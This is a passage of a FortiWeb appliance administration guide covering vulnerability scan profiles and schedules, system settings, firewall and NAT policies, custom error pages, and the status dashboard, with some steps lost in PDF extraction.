Network accessibility
You may need to configure each target host and any intermediary NAT or firewalls to allow the vulnerability scan to
reach the target hosts.
Traffic load & scheduling
You should talk to the owners of target hosts to determine an appropriate time to run the vulnerability scan. You can
even schedule in advance the time that the FortiWeb will begin the scan.
For example, you might schedule to avoid peak traffic hours, to restrict unrelated network access, and to ensure that the
target hosts will not be powered off during the vulnerability scan.

658
To determine the current traffic load, see "HTTP Throughput Monitor widget" on page 1. For scheduling information,
see Scheduling web vulnerability scans on page 658.
See also

Scheduling web vulnerability scans
Web Vulnerability Scan > Web Vulnerability Scan Schedule enables you to schedule vulnerability scan.

A vulnerability scan schedule defines when the scan will automatically begin, and whether the scan is a one-time or
periodically recurring event.
To configure a vulnerability scan schedule
1. Go to Web Vulnerability Scan > Web Vulnerability Scan Schedule.
permission to items in the Web Vulnerability Scan Configuration category. For details, see Permissions on
page 56
Type Select the type of schedule:

l One Time—Run the vulnerability scan once.
l Recurring—Run the vulnerability scan periodically.
Time Select the time of day to run the scan.
Date If One Time type is selected, select the date to run the scan.
This setting is available only if Type (page 1) is One Time.
Day If the Recurring type is selected, select the days of the week to run the scan.
This setting is available only if Type (page 1) is Recurring.
4. Click OK.
5. To use the profile, select it in a web vulnerability scan policy. For details, see Running vulnerability scans on page
662.
See also


659
Configuring vulnerability scan profiles
Web Vulnerability Scan > Scan Profile enables you to configure vulnerability scan profiles as well as scan
templates.
A vulnerability scan profile defines a web server that you want to scan, as well as the specific vulnerabilities to scan for.
Vulnerability scan profiles are used by vulnerability scan policies, which determine when to perform the scan and how to
publish the results of the scan defined by the profile.
Four default scan templates are available with different levels. Also, you can create the scan template.
To configure a vulnerability scan profile
1. If FortiWeb must authenticate in order to reach all URLs that will be involved in the vulnerability scan, configure the
web application (if it provides form-based authentication) with an account that FortiWeb can use to log in.
For best results, the account should have permissions to all functionality used by
the website. If URLs and inputs vary by account type, you may need to create
multiple accounts—one for each non-overlapping set—and run separate
vulnerability scans for each account.
2. Go to Web Vulnerability Scan > Scan Profile.

page 56
Scan Target Enter the URL that you want to scan, such as www.mytestwvs.com.
Scan Template Select an existing scan template that you want to use in the profile.
5. Click OK to start the scan.

6. Optionally, configure settings in Advanced Options below.
General Request Timeout Type the number of seconds for the vulnerability scanner to
wait for a response from the website before it assumes that
the request will not successfully complete, and continues
with the next request in the scan. It will not retry timeout
requests.
Cookie Jar File Designate a cookie jar file. The cookie jar file must be in
mozilla format.
Ignore Session Cookies If enabled, the scanner will ignore all session cookies sent by
the target web application.

660
Custom Headers You can define the host, user agent, and other common
headers in the request.
Take DVWA for example, if it fails to pass the basic
authentication or form authentication, cookie authentication
is required. Follow steps below:
1. Log into DVWA via a browser.
2. Copy the cookie and configure it to Custom Headers.
3. Connect to FortiWeb.
4. Run the following commands
config wvs profile
edit “wvs”
set ignore-regex .*logout.php.*
next
end
Crawl Sub Path Limit per URL The maximum number of requests for sub path of each URL.
Max Scan Time The maximum scanning time.
Max Crawl Time The maximum crawling time (minutes).
Max Params Limit per URL The maximum number of requests for each URL, and
parameter set.
Max File Size Indicate the maximum file size (in bytes) that the scanner will
retrieve from the remote server.
Max HTTP Retries Indicate the maximum number of retries when requesting an
URL. The valid value range is 1–10.

661
Authentication HTTP Basic User Enter the username of the web application.
Authentication
Password Enter the password for the username.
Form Based Authenticate Enter the target URL for security auditing, and the URL shall
Authentication URL include http or https tag.
Username The username parameter name, for example, "uname" if the

Field HTML looks like <input type="text"
name="uname">...
Password The password parameter name, for example, "pwd" if the
Field HTML looks like <input type="password"
name="pwd">...
Username Enter the username for using in the authentication process.
Password Enter the password for the username.
Data Format Add extra parameters here for authentication as required by

some websites, for example, %u=%U&%p=%P&security_
level-0&form-submit. The default value
%u=%U&%p=%P includes the values for Username Field and
Password Field.
Session Enter the URL where the packets are sent to.
Check URL
Session Enter the string in the response message. If the string can be
Check String checked, the authentication succeeds; otherwise, the
authentication will be re-launched.
7. Click OK.
8. To use the profile, select it in a web vulnerability scan policy. For details, see Running vulnerability scans on page
662.
To configure a vulnerability scan template
1. Go to Web Vulnerability Scan > Scan Template.

As multiple vulnerability plugins are integrated, they are classified into different types. Here, four scan templates
are introduced by default, which can not be edited or deleted. You can also define the template accordingly.
Full Audit Perform a full audit of the target website, using only the webSpider plugin for
discovery.
Fast Scan Perform a fast scan of the target the site, using only a few discovery plugins and
the fastest audit plugins.
Brute Force Bruteforce form or basic authentication access controls using default
credentials. Set the target URL to the resource where the access control is.
OWASP Top 10 As a worldwide free and open community focused on improving the security of
application software, OWASP searches for and publishes the ten most common
security flaws.

662
page 56.
Plugin Configure the plugins. Double click any of the five plugin categories, and
select related plugins for each category.
4. Click OK.
5. To use the template, select it in a vulnerability scan profile. For details, see To configure a vulnerability scan profile
on page 659.
See also

Running vulnerability scans
In order to run a vulnerability scan, you must create a vulnerability scan policy.
A vulnerability scan policy defines the scheduling type of scan (an immediate scan or a scheduled scan), the profile to
use, the file format of the report, and recipients.
To configure a web vulnerability scan policy
1. Go to Web Vulnerability Scan > Web Vulnerability Scan Policy.
page 56
Type Select the scheduling type, either:

l Run Now—The scan can be manually started at any time by the user.
l Schedule—The scan is performed according to the schedule defined in
Schedule (page 1).
Schedule Select the predefined schedule to use for the scan. For details, see
Scheduling web vulnerability scans on page 658.
This option appears only if the Type (page 1) is Schedule.

663
Profile Select the profile to use when running the vulnerability scan. For details, see
Configuring vulnerability scan profiles on page 659.
Report Format Enable one or more file formats for the vulnerability scan report:
l HTML
l XML
l PDF
Email Policy Select the email settings, if any, to use in order to send results of the
vulnerability scan. For details, see Configuring email settings on page 725.
4. Click OK.
When the scan is complete, FortiWeb generates a report based on the scan results. For details, see
Viewing/downloading vulnerability scan reports on page 664.
Status l Starting
If Type (page 1) is Run Now, the scan begins immediately; for around a second, the status is
Starting.
If Type (page 1) is Schedule, and it is just the scheduled time, the scan is to start soon, the
status is Starting for around a second.
l Stopped
When the status is scanning, and you click , the status will become Stopped.
If Type (page 1) is Schedule, and the scheduled time has not arrived, the status is Stopped.
l Scanning
After the scanner is activated for a while, the status will change from Starting to Scanning.
The scanning time required varies by the network speed and traffic volume, load of the target
hosts (especially the number of request timeouts), and your configuration in Advanced Options
> Crawl of Scan Profile.
l Done
When the scanning associated with the policy is finished, the status becomes Done.
Action Click to stop the scanning.

Click to re-start the scanning.
Click to view the scan summary.
See also


664
Viewing/downloading vulnerability scan reports
After a web vulnerability scan is completed, the FortiWeb appliance generates a report summarizing and analyzing the
results of the scan. If you have configured it to email the report to you when the scan is complete, you may receive the
report in your inbox. You can also view and download the report through the web UI.
items in the Web Vulnerability Scan Configuration category. For details, see Permissions on page 56
Go to Web Vulnerability Scan > Scan History, you can see the scan report list below.
The pane includes the following information:
Target Server Display the host name of the server that was scanned for vulnerabilities.
Click the target server name to view the scan summary associated with this
server.
Request Count Display the total number of requests sent.
Requests per Minute Display the total number of requests per minute.
Scan Time Display the date and time that the scan was started.
End Time Display the date and time that the scan was done.
Total Alerts Found Display the total number of vulnerabilities discovered during the scan.
You can do the following:
Delete Check one or more reports, click Delete to delete such reports.
View Click to view a scan report.
Download Click to download a copy of a scan report.
The figure below shows the scan report details.

665
See also


Advanced/optional system settings
The System menu configures a variety of settings that apply to the entire FortiWeb appliance.
Many system settings must be configured during the initial installation. This section only contains optional
settings that can be configured later. For required system settings, see the appropriate section of How to set up
your FortiWeb on page 66.
Changing the FortiWeb appliance’s host name
The host name of the FortiWeb appliance is used in several places.

l The name appears in the System Information widget on System > Status > Status. For more information
about the System Information widget, see System Information widget on page 683.
l It is used in the command prompt of the CLI.
l It is used as the SNMP system name. For information about SNMP, see SNMP traps & queries on page 727.
l FortiWeb uses it as the NAS identifier for communications with a Radius server. For details, see Configuring a
RADIUS server on page 347.
The System Information widget and the get system status CLI command display the full host name. If the host
name is longer than 16 characters, the name may be truncated and end with a tilde ( ~ ) to indicate that additional
characters exist, but are not displayed.
For example, if the host name is FortiWeb1234567890, the CLI prompt would be FortiWeb123456789~#.
Administrators whose access profiles permit Write access to items in the System Configuration category can change
the host name.
You can also configure the local domain name of the FortiWeb appliance. For
details, see Configuring DNS settings on page 150.
To change the host name of the FortiWeb appliance

2. In the System Information widget, in the Host Name row, click Change.
3. In the New Name field, type a new host name.
The host name can be up to 35 characters in length. It can include US-ASCII letters, numbers, hyphens, and
underscores, but not spaces and special characters.
4. Click OK.
See also

Fail-to-wire for power loss/reboots
If your appliance’s hardware model, network cabling, and configuration supports it, you can configure fail-to-wire/bypass
behavior. This allows traffic to pass through unfiltered between 2 ports (a link pair) while the FortiWeb appliance is shut
down, rebooting, or has unexpectedly lost power such as due to being accidentally unplugged or PSU failure.
Fail-to-wire may be useful if you are required by contract to provide uninterrupted connectivity, or if you consider
connectivity interruption to be a greater risk than being open to attack during the power interruption.
Fail-to-wire is supported only:
l When the operation mode is True Transparent Proxy, Transparent Inspection, or WCCP.
l In standalone mode (not HA).
l For a bridge (V-zone) between ports wired to a CP7 processor or other hardware which provides support for fail-to-
wire:
l FortiWeb 600D: port1 + port2

l FortiWeb1000C: port3 + port4
l FortiWeb 1000D: port3 + port4 or port5 + port6
l FortiWeb 1000E: port3 + port4 + port5 + port6
l FortiWeb 2000E: port1 + port2 or port3 + port4
l FortiWeb3000C/D: port5 + port6
l FortiWeb3000E/4000E: port9 + port10, port11 + port12, port13 + port14, or port15 + port16
l FortiWeb 3010E: port3 + port4, port9 + port10, port11 + port12, port13 + port14 or port15 + port16
l FortiWeb4000C/D: port5 + port6 or port7 + port8
l FortiWeb3000CFsx/DFsx: port5 + port6 or port7 + port8
FortiWeb-400B/400C, FortiWeb HA clusters, and ports not wired to a CP7/fail-open chip do not support fail-to-wire.
In the case of HA, don’t use fail-open—instead, use a standby HA appliance to provide full fault tolerance.
Bypass results in degraded security while FortiWeb is shut down, and therefore HA is usually a better solution: it ensures
that degraded security does not occur if one of the appliances is shut down. If it is possible that both of your FortiWeb
HA appliances could simultaneously lose power, you can add an external bypass device such as FortiBridge
(http://docs.fortinet.com/fortibridge).
When FortiWeb works in True Transparent Proxy mode and the HA feature is
enabled, it's recommended to disable STP on the front or back-end switch if you
prefer uninterrupted connectivity, because STP convergence usually takes 30 to 60
seconds in case of HA failover.
Aside from the usual network topology requirements for the transparent operation modes, there are no special
requirements for fail-to-wire. During setup, after setting the operation mode, you will simply go to System > Network >
Fail-open and select either:
l PowerOff-Bypass—Behave as a wire when the FortiWeb appliance is powered off, allowing connections to pass
directly through from one port to the other, bypassing all policy scans and modifications.
l PowerOff-Cutoff—Interrupt connectivity when the FortiWeb appliance is powered off. Bypass is disabled. This is
the default.

See also

Customizing error and authentication pages (replacement

messages)
You can customize the following FortiWeb HTML pages:

l Pages that FortiWeb presents to clients when it authenticates users.
FortiWeb uses these pages when the client authentication method in a site publishing configuration is HTML
Form Authentication. For details, see Single sign-on (SSO) (site publishing) on page 359.
l The error page FortiWeb uses to respond to a HTTP request that violates a policy and the configured action is Alert
& Deny or Period Block.
l The error page FortiWeb uses to respond to a AJAX request that violates a policy and the configured action is Alert
& Deny or Period Block.
l The "Server Unavailable!" page that FortiWeb returns to the client when none of the server pool members are
available either because their status is Disable or Maintenance or they have failed the configured health check.
FortiWeb uses each page for specific server policy.
Configuring an error or authentication page
Follow steps below to configure an error or authentication page:

1. Go to System > Config > Replacement Message.
2. Select Replacement Message.
3. Select the message you want to edit in the list of messages or click Create New to create a new message.
You can also select the predefined one to take it as a template, or select a message and click Clone to clone this
message.
4. You can enable Support AJAX Requests to respond to a AJAX request, and configure the AJAX block page
message. You must enable it by going to System > Config > Feature Visibility first.
5. If you have selected Attack block page and want to change the HTTP response code it displays, click Edit HTTP
Response Code. Enter a new value for the code, and then click Apply. For details, see Attack block page HTTP
response codes on page 669.
6. In the bottom-right pane, edit the HTML code as required.
The results of any changes you make are displayed immediately in the bottom-left pane.
7. Click Save to save your changes or Restore Defaults to revert to the preset version of the page.
8. Select the replacement message when you edit a policy.
For details about using macros in the code, see Macros in custom error and authentication pages on page 669.

Pre-login disclaimer message
Go to System > Config > Replacement Message, and select Disclaimer tab. You can edit the disclaimer message.
Click Save to save your changes or click Restore Defaults to revert to the preset version.
Attack block page HTTP response codes
You can specify the HTTP response code that the attack block message page displays. If the error status code allows an
attacker to fingerprint a vulnerable application, you can customize it to display a more vague reply. (For all other pages,
you cannot change the default response code.)
The following codes are examples of HTTP response codes:
l 200—OK. Typically indicates success, and accompanies resource requested by the client.
l 400—Bad Request. Typically indicates wrong syntax.
l 403—Forbidden. Typically indicates inaccessible files.
l 404—File Not Found. Typically indicates missing files.
l 500—Internal Server Error. Typically indicates one of many possible conditions such as a servlet runtime error.
l 501—Not Implemented. Typically indicates a non-existent function on the web application.
Macros in custom error and authentication pages
When it generates error and authentication messages, FortiWeb generates some of the message content using
macros. It uses two type of macros: label macros and image macros.
Although you can add the predefined macros to your custom messages, you cannot create macros and you cannot
modify the label macros. You can modify an image macro to reference a predefined image or one that you have
uploaded.
Label macros
You can use the following label macros anywhere in the HTML code for Attack Block Page and Server Unavailable
Message messages:
%%URL%% Inserts one of the following URLs:

l The URL of a web page blocked by either the web filtering or URL
blocking feature.
l The URL of a web page that contains a blocked file that a client has
tried to download.
%%SOURCE_IP%% The source IP address of the client that attempted to access the web
service.
%%DEST_IP%% The IP address of the web server.
%%VSERVER_IP%% The IP address of the virtual server.
%%EVENT_ID%% An ID number that identifies the attack type. Use this number to help you
locate the log for the event in the FortiWeb attack log.

You can use the following label macros anywhere in the HTML code for the Site Publish Authentication messages:
%%ORG_LOCATION_ The original URL that the client tried to access.

VAL%%
%%REPLY_TAG%% The authentication server reply message. For an example of how you
can customize the message by replacing this macro with JavaScript, see
Customizing the message returned for LDAP errors (%%REPLY_
TAG%% macro) on page 671.
%%LOGIN_POST_URL%% The login URL where users post their credentials.
%%TOKEN_POST_URL%% The login URL where users insert their token code.
%%RSA_LOGIN_POST_ The login URL where users post their RSA SecurID credentials.
URL%%
%%RSAC_POST_URL%% The login URL where users post their RSA SecurID credentials.
%%ACCOUNT%% The username credential of a user who exceeded the maximum number
of login attempts.
%%PERIOD_TIME%% The length of time that FortiWeb prevents a user from attempting to log
in again, after the user has exceeded the allowed number of login
attempts. The site publishing policy specifies the value.
%%MSG_ID%% The message ID number idenfities the attack log message ID, and can
be used to map the event to the log in the FortiWeb attack log.
Image macros
Use the following format to add an image macro anywhere in a custom error or authentication message:
%%IMAGE:<image_name>%%
where <image_name> is the name of either a predefined image or one you have uploaded. To view or upload
images, go to System > Config > Replacement Message, and then select Manage Images tab. For details, see
Adding images in error or authentication pages on page 670.
For example, in the default Attack Block Page message, the macro %%IMAGE%%:logo_v2_fnet%% adds the
predefined image logo_v2_fnet. If you add the image test to the list of images, use %%IMAGE%%:test%% to
add it to the HTML code.
Adding images in error or authentication pages
1. Go to System > Config > Replacement Message.

2. Click Manage Images tab, and then click Create New.
3. Specify a name for the image file, select its content type, and then click Choose File to browse to the file and
select it.
Ensure the image is no larger than 24 kb and that its type matches the value you have selected for Content Type.
4. Click OK, and then click Return to return to the list of customizable pages.

Customizing the message returned for LDAP errors (%%REPLY_TAG%% macro)
By default, the Login Page replacement message is formatted to simply display any reply message it receives from the
authentication server.
However, you can use JavaScript to customize the message that is displayed.
For example, locate the following section of the replacement message:
<h2>
%%REPLY_TAG%%
</h2>
Replace the macro and its formatting with the following script:
<h2>
<script type="text/javascript">
var r = "%%REPLY_TAG%%"
if (r == "Failed to search user DN" )
{
document.write("<b>Invalid Username</b>")
}
else if (r == "Failed to bind LDAP server" )
{
document.write("<b>Invalid Password</b>")
}
else if (r == "Username or password can't be null" )
{
document.write("<b>Username or password empty</b>")
}
else if (r == "Invalid credentials" )
{
document.write("<b>Invalid Username or Password</b>")
}
else if (r != "" )
{
document.write(r)
}
</script>
</h2>
Configuring the integrated firewall
You can add basic stateful firewall functionality when FortiWeb is in Reverse Proxy, True Transparent Proxy, and
Transparent Inspection modes. The firewall monitors TCP, UDP, and ICMP traffic and determines which packets to
allow. For details, see To configure the stateful firewall on page 672.

By default, the value of the system firewall policy Default Action setting is Accept.
This allows any traffic that does not match a firewall policy rule to access the
FortiWeb network interfaces.
When the firewall policy Default Action setting is Deny and the policy has no rules,
FortiWeb only allows administrative access to ports. For example, the firewall
prevents requests that do no match a rule from reaching virtual servers.
FortiWeb by default allows the connections from itself to the DNS server, even
though the Default Action is Deny.
To configure the stateful firewall
1. Go to System > Firewall and select the Firewall Address tab.

Name Enter a name that identifies the firewall address.
Type Select how this configuration specifies a firewall address or

addresses:
l IP/IP Range—A single IP or a range of IP addresses.
l IP/Netmask—A single IP address and netmask.
IP/Netmask Enter one of the following:
l If Type on page 672 is IP/Netmask, an IPv4 address and subnet
or mask, separated by a forward slash ( / ). For example,
192.0.2.2/24.
IP/IP Range l If Type on page 672 is IP/IP Range, a single IP address or a
range of addresses. For example, 172.22.14.1, or
172.22.14.1-172.22.14.256.
4. Click OK.
5. Add any additional firewall addresses you require.
6. Go to System > Firewall and select the Firewall Service tab.
Name Enter a name that identifies the firewall service.
Protocol Select the protocol that this firewall service inspects: TCP, UDP, or
ICMP.

Minimum Source Port Select the start port in the range of source ports for this firewall
service.
Not available if Protocol on page 672 is IMCP.
Maximum Source Port Select the end port in the range of source ports for this firewall
service.
Minimum Destination Select the start port in the range of destination ports for this firewall
Port service.
Maximum Destination Select the end port in the range of destination ports for this firewall
Port service.
9. Add any additional firewall services you require.

10. Go to System > Firewall and select the Firewall Policy tab.
11. For Default Action, select one of the following:
l Deny—Firewall blocks traffic that does not match a policy rule. However, administrative access is still allowed
on network interfaces for which it has been configured.
l Accept—Firewall allows traffic that does not match a policy rule.
12. To add a policy rule, click Create New.
V-zone Enable Select to enable a V-zone (bridge). If this option is enabled, select a
V-zone below. V-zones allow network connections to travel through
FortiWeb's physical network ports without explicitly connecting to one
of its IP addresses.
This option is available only when the operation mode is True
Transparent Proxy or Transparent Inspection mode.
V-zone Select a configured V-zone. For details, see Configuring a bridge (V-
zone) on page 133
Ingress Interface Specify incoming traffic that this rule applies to by selecting a network

interface.
Egress Interface Specify outgoing traffic that this rule applies to by selecting a network
interface.
Source Specify the source address of traffic that this rule applies to by
selecting an address from the firewall addresses you configured
earlier under System > Firewall > Firewall Address.
Destination Specify the destination address of traffic that this rules applies to by
selecting an address from the firewall addresses you configured
earlier under System > Firewall > Firewall Address.
Service Select the protocol and port range that this rule applies to by selecting
a firewall service configuration under System > Firewall > Firewall
Service.
Action Select the action FortiWeb takes for traffic that matches this rule:
l Deny—Firewall blocks matching traffic. Administrative access is
still allowed on network interfaces for which it has been
configured.
l Accept—Firewall allows matching traffic.
14. Click OK.

15. Add any additional rules that you require, and then click Apply.
To configure a firewall FWMARK policy
The FWMARK policy allows you to mark the traffic coming in FortiWeb. Using it together with policy route, you can
direct the marked traffic to go out of FortiWeb through a specified interface or/and to a specified next-hop gateway.
1. Go to System > Firewall and select the Firewall FWMARK Policy tab.
2. To add a policy rule, click Create New.

Name Enter a name that identifies the FWMARK policy.
Source Specify the source address of traffic that this policy applies
to by selecting an address from the firewall addresses you
configured earlier under System > Firewall > Firewall
Address.
Destination Specify the destination address of traffic that this policy
applies to by selecting an address from the firewall
addresses you configured earlier under System >
Firewall > Firewall Address.
Ingress Interface Specify incoming traffic that this policy applies to by
selecting a network interface.
Service Select the protocol and port range that this policy applies to
by selecting a firewall service configuration under
System > Firewall > Firewall Service.
Mark Enter a value to mark the traffic that matches with the
conditions above. The valid range is 1-255.
4. Click OK.
Next, go to System > Network > Route > Policy Route. Configure a policy route to direct the marked traffic to go
out of FortiWeb through a specified interface or/and to a specified next-hop gateway. Refer to Creating a policy route on
page 146.
Network address translation (NAT)
You can set firewall SNAT and DNAT policies to translate the source IP addresses or destination IP addresses for the
packets coming in FortiWeb. They are available in Reverse Proxy, True Transparent Proxy, and Transparent Inspection
operating modes. FortiWeb supports modifying the firewall configurations even if the license is expired.
FortiWeb applies a firewall SNAT or DNAT policy only if IP forwarding is enabled. To check whether IP forwarding is
enabled, enter this command in the CLI:
get router setting
If ip-forward is set to enable, IP forwarding is enabled, and FortiWeb is applying the firewall SNAT policy.
If ip-forward is set to disable, IP forwarding isn't enabled, and FortiWeb isn't applying the firewall SNAT policy.
To enable IP forwarding, enter these commands in the CLI:
set ip-forward enable
end
For details about these CLI commands, see the FortiWeb CLI Reference:
https://docs.fortinet.com/fortigate/reference

To configure a firewall SNAT policy
1. Go to System > Firewall > NAT policy and select the Firewall SNAT Policy tab.
Name Enter a name that identifies the firewall SNAT policy. Don't use
spaces or special characters. The maximum length is 63 characters.
Source Range Enter the IP address range to match the source IP address in the
packet header that you want to translate. The IP address must be an
IPv4 address.
Destination Range Enter the IP address range to match the destination IP address in the
packet header. The IP address must be an IPv4 address.
Egress interface Select the interface that FortiWeb will use to forward traffic that
matches the Network address translation (NAT) on page 675.
Translation Type Select one of the following:

l IP Address—Select to translate the Network address translation
(NAT) on page 675 to an IP address that you specify. To specify
an IP address, configure Network address translation (NAT) on
page 675.
l Pool—Select to translate the Network address translation (NAT)
on page 675 to the next available IP address in an IP address
pool that you specify. To specify an IP address pool, configure
both Network address translation (NAT) on page 675 and
Network address translation (NAT) on page 675.
l No NAT—Select to not perform SNAT for the matched traffic.
Translation to IP Address Enter the IP address that you want to translate the Network address
translation (NAT) on page 675 to. An example IP address is
192.0.2.2. The IP address must be an IPv4 address.
This option is available only when the Network address translation
(NAT) on page 675 is set to IP Address.
Pool Address Range Enter the first IP address in the SNAT pool. An example IP address is
(NAT) on page 675 is set to Pool.
To Enter the last IP address in the SNAT pool. An example IP address is

(NAT) on page 675 is set to Pool.

To configure a firewall DNAT policy
1. Go to System > Firewall > NAT policy and select the Firewall DNAT Policy tab.
Name Enter a name that identifies the firewall DNAT policy. Don't use
spaces or special characters. The maximum length is 63 characters.
External Address Range Enter the IP address range to match the destination IP address in the
packet header that you want to translate. The external addresses
must be one-to-one mapped to the translated addresses. For
example, if the External Address Range contains 10 addresses, the
Mapped Address Range must also contain 10 addresses.
You need to first configure the Mapped Address Range, then enter
the first address for the External Address Range, the system will
calculate how many addresses should be included and automatically
fill the last address in External Address Range.
The IP address must be IPv4.
Mapped Address Range Enter the IP address range that you want to translate the External
Address Range to. The IP address must be IPv4.
Ingress interface Select the interface to match the network interface through which the
packet comes in FortiWeb. The IP address must be IPv4.
Protocol Select the protocol type of the packets that you want to translate.
Port Forwarding Enable to translate the port in destination IP address.
External Port Range Enter the port range to match the port in destination IP address.
This option is available only when Port Forwarding is enabled.
Mapped Port Range Enter the port range to translate the External Port Range to.
This option is available only when Port Forwarding is enabled.
4. Click OK.
Advanced settings
Several system-wide options that determine how FortiWeb scans traffic and caches server responses are configurable.
You can configure the following:
l Source IP detection
l Recursive URL decoding
l Decoding enhancements
l Maximum body cache sizes
l Maximum DLP cache sizes

You can also configure the size of FortiWeb’s scan buffers. For details, see config
system advanced in the FortiWeb CLI Reference:
To configure Advanced settings
1. Go to System > Config > Advanced.

2. Configure these settings according to your environment's needs:
Shared IP Enable to analyze the identification (ID) field in IP packet headers in order to
distinguish source IP addresses that are actually Internet connections shared
by multiple clients, not single clients. For an example, see Example: Setting a
separate rate limit for shared Internet connections on page 679.
You can configure the ID difference threshold that triggers shared IP
detection. For details, see config system ip-detection in the
Note: The shared IP address rate limit for some features will be ignored
unless you enable this option. For details, see Limiting the total HTTP request
rate from an IP on page 613.
Tip: To improve performance and reduce memory consumption, if all source
IP addresses should receive the same rate limit regardless of the number of
clients sharing each connection, disable this option.
Recursive URL Decoding It is enabled by default to detect URL-embedded attacks that are fuzzified
using recursive URL encoding (that is, multiple levels’ worth of URL
encoding).
Encoded URLs can be legitimately used for non-English URLs, but can also be
used to avoid detection of attacks that use special characters. FortiWeb can
decode encoded URLs to scan for these types of attacks. Several encoding
types are supported, including IIS-specific Unicode encoding.
For example, you could detect the character A that is encoded as either %41,
%x41, %u0041, or \t41.
Disable to decode only one level, if the URL is encoded.
Advanced Decoding Enable to decode cookies and parameters using Base64 or CSS for specified
URLs.
Enable Advanced Decoding.
Click Apply.
To add a decoding rule, click Create New.
For URL Type, select between:
Simple String—String of text that contains a literal URL.
Regular Expression—String of text that defines a search pattern for a URL
that may come in many variations. For details, see Appendix D:
Regular expressions on page 880.
Enter the URL Path for which you want the decoding rule to apply.

Click OK.
Click Create New.
For Field Type, Select whether you want the decoding rule to apply for
parameters or cookies.
For Field Name Type, select between:
Simple String—String of text that contains a literal field name.
Regular Expression—String of text that defines a search pattern for a field
name that may come in many variations. For details, see Appendix D:
Regular expressions on page 880.
Enter the Field Name for the parameter or cookie.
Enable Base64 Decoding and/or CSS Decoding according to your
environment's needs.
Click OK.
Maximum Body Cache Size Type the maximum size (in KB) of the body of the HTTP response from the
web server that FortiWeb will cache per URL for body compression, rewriting,
and XML detection.
Increasing the body cache may decrease performance.
Valid values range from 32 to 4096. The default value is 64.
Maximum DLP Cache Size Type the maximum size in kilobytes (KB) of the body of the HTTP response
from the web server that FortiWeb will buffer and scan for data leak protection
(DLP).
Responses are cached to improve performance on compression, and rewriting
on often-requested URLs.
Valid values vary by Maximum Body Cache Size on page 679.
See also
l Defeating cipher padding attacks on individually encrypted inputs on page 508

l Example: Setting a separate rate limit for shared Internet connections on page 679
l Compression on page 648
Example: Setting a separate rate limit for shared Internet connections
The small ice cream shop Tiny Treats might have only one network-connected smart cash register. Any request from
that public IP likely comes, therefore, from that single client (unless they have not secured their WiFi network...). There
is a 1:1 ratio of clients to source IP addresses from FortiWeb’s perspective.
Down the street, Giant Gelato, which distributes ice cream to eight provinces, might have a LAN for the entire staff of
250 people, each with one or more computers. Requests that come from the Giants Gelato office’s public IP therefore
may actually originate from many possible clients, and therefore normally could be much more frequent. However, like

many offices, the LAN uses source IP network address translation (SNAT) at the point that it links to the Internet. As a
result, from FortiWeb’s perspective, the private network address of each client is impossible to know: it only knows the
single public IP address of Giant Gelato’s router. So there is a single source IP address for Giant Gelato. However, there
is a 250:1 ratio of clients to the source IP address.
This is a big proportionate difference. While a low rate limit might seem generous to Tiny Treats, Giant Gelato would be
unhappy if you applied the same rate limit to its IP address.
Let’s say that both companies need access to the same ice cream inventory web application: Tiny Treats buys from
Giant Gelato. Each view in the application contains the page itself, but also up to 15 images of ice cream, 3 external
JavaScripts, and an external CSS style sheet, for a total of 20 HTTP requests in order to produce each view.
40 requests per second then might be more than adequate for Tiny Treats: the clerk could page through the inventory
twice every second, if she wanted to.
But for Giant Gelato, its clients would frequently see completely or half-broken views: some images or CSS would be
missing, or page requests denied the first or second time, because some other clients on Giant Gelato’s LAN had
already consumed the 40 requests allowed to it per second of time. Normal use would be impossible.
To be practical, then, you would not base your rate limiting solely on the source IP address of requests. Instead, you
would want dual thresholds:
l A lower threshold for sources that are a single client
l A higher threshold when multiple clients are behind the same source IP address
You could enable Shared IP on page 678 so that FortiWeb could know to permit more requests per second from Giant
Gelato than from Tiny Treats. Because Giant Gelato’s ID fields would not usually be continuous as a single client’s
usually would be, FortiWeb could then apply a different, higher limit.
See also
l Advanced settings on page 677


Monitoring your system
“Secure” is an action, an ongoing way to behave; it is not a set-and-forget device. Each day, vulnerabilities, known
exploits, and best practices can change.
Knowledge is power. To get the most value out of your FortiWeb appliance, use it to keep informed about your
network—not just to protect it. FortiWeb appliances have many tools that you can use to monitor statuses, traffic, and
attacks. You can also use them to discover new web server vulnerabilities.
Status dashboard
System > Status > Status appears when you log in to the web UI. It contains a dashboard with widgets that each
indicate performance levels or other system statuses.
Each day, check the dashboard for obvious problems.
By default, the Status dashboard contains the following widgets:
l FortiGuard Information widget on page 684
l System Resources widget on page 688
l Attack Log widget on page 689
l HTTP Throughput Monitor widget on page 689
l HTTP Hit History widget on page 690
l Attack Event History widget on page 691
l Policy Sessions widget on page 694
l Operation widget on page 695
FortiWeb provides a separate dashboard that displays the status of policies and the server pools they are associated
with. For details, see Policy Status dashboard on page 696.
Viewing the dashboard (System > Status > Status)
In the default dashboard setup, widgets display the serial number and current system status of the FortiWeb appliance,
including uptime, system resource usage, host name, firmware version, system time, and status of policy sessions. The
dashboard also contains a CLI widget that enables you to use the command line interface (CLI) through the web UI.
l To customize the dashboard, select which widgets to display, where they are located on the page, and whether
they are minimized or maximized.
l To move a widget, position your mouse cursor on the widget’s title bar, then click and drag the widget to its new
location.
l To display any of the widgets not currently shown on System > Status > Status, click Add Content. Any widgets
currently already displayed on System > Status > Status are grayed out in the Add Content menu, as you can
only have one of each display on the page.

Adding a widget

2. In the top-right corner of the dashboard, click Add Content.
3. Click a widget to add it to System > Status > Status.
4. Widgets that are greyed out are currently being displayed on the dashboard.
Note: Click Back to Default to return the active widgets and their positions on the dashboard to the default state.
A minimized widget
Widget title The name of the widget.
Minimize/maximize arrow Click to maximize or minimize the widget.
Refresh Click to update the displayed information.
Close Click to close the widget on the dashboard. FortiWeb prompots you to confirm
the action. To display the widget again, click Add Content near the top of the
page.
To access the dashboard, your administrator's account access profile must have Read permission to items in the
System Configuration category. To use features that alter the FortiWeb or perform actions, you may also need Write
permissions in various categories. For details, see Permissions on page 56.

System Information widget
The System Information widget on the dashboard displays the serial number and the status of basic systems, such as
the firmware version, system time, up time, and host name, and high availability (HA) status.
In addition to displaying system information, the System Information widget enables you to configure some basic
attributes such as the host name, operation mode, and high availability (HA) mode, and to change the firmware.
FortiWeb administrators whose access profiles permit Write access to items in the System Configuration category,
can change the system time, host name, firmware, and operation mode, and high availability (HA) mode.
System Information widget
HA Status Displays the status of high availability (HA) for this appliance, either Standalone
or Active-Passive. The default value is Standalone.
Click Configure to configure the HA status for this appliance. For details, see
FortiWeb high availability (HA) on page 48.
Host Name Displays the host name of the FortiWeb appliance.

